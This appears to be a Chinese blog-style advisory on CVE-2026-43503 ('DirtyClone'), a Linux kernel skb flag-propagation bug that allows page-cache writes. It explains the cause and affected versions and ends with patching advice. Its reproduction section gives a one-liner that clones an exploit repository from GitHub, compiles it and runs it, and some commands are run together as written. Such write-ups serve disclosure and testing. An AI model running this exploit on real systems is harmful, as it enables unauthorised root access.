CVE-2026-43503(DirtyClone)是Linux内核DirtyFrag漏洞家族中的一个变种,主要影响网络子系统的socket buffer(skb)片段处理逻辑。
该漏洞本质是SKBFL_SHARED_FRAG标志在frag转移和克隆路径(尤其是__pskb_copy_fclone()、skb_shift()等helper函数)中未能正确传播,导致原本应该触发安全Copy-on-Write的共享page-cache页面,被错误地视为可直接写入,从而允许in-place操作(如IPsec ESP解密)污染file-backed内存。
DirtyClone与早期DirtyFrag属于同一漏洞家族。DirtyFrag首次引入了通过spliced UDP页面实现page-cache写原语的问题,而DirtyClone则是绕过其部分修复补丁的后续变种,攻击者利用内核内部数据包克隆路径丢弃标志,重新打开了利用窗口。
受影响范围主要为修复前的Linux主线及stable分支(大致v5.15至v6.14/v6.15-rc2 之前,具体取决于各发行版的backport情况)。由于现代发行版已陆续推送修复补丁,且部分环境默认限制非特权user namespace,目前公开验证可稳定利用的环境主要是未更新到修复内核的Ubuntu 22.04 LTS、Debian 12等系统。
复现指南
创建新的低权限用户:
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录ssh后,执行:
git clone https://github.com/0xBlackash/CVE-2026-43503 && cd CVE-2026-43503 && gcc -O0 -Wall -static -o exp CVE-2026-43503.c -lutil && ./exp
经秀逗猫测试发现,大多数内核更新后,DirtyFrag无法利用成功,DirtyClone也基本无法利用。如果内核未更新,DirtyFrag能利用成功时,DirtyClone通常也能成功。若想要严格测试DirtyFrag失效但DirtyClone仍可利用的情况,需选择特定中间版本的内核,但这类版本较难找到,可能需要自行编译内核。
修复指南
强烈建议更新内核至已包含SKBFL_SHARED_FRAG完整传播修复的版本(Ubuntu 22.04建议至少更新到5.15.0-181.191及以上)。
sudo apt update && sudo apt full-upgradesudo reboot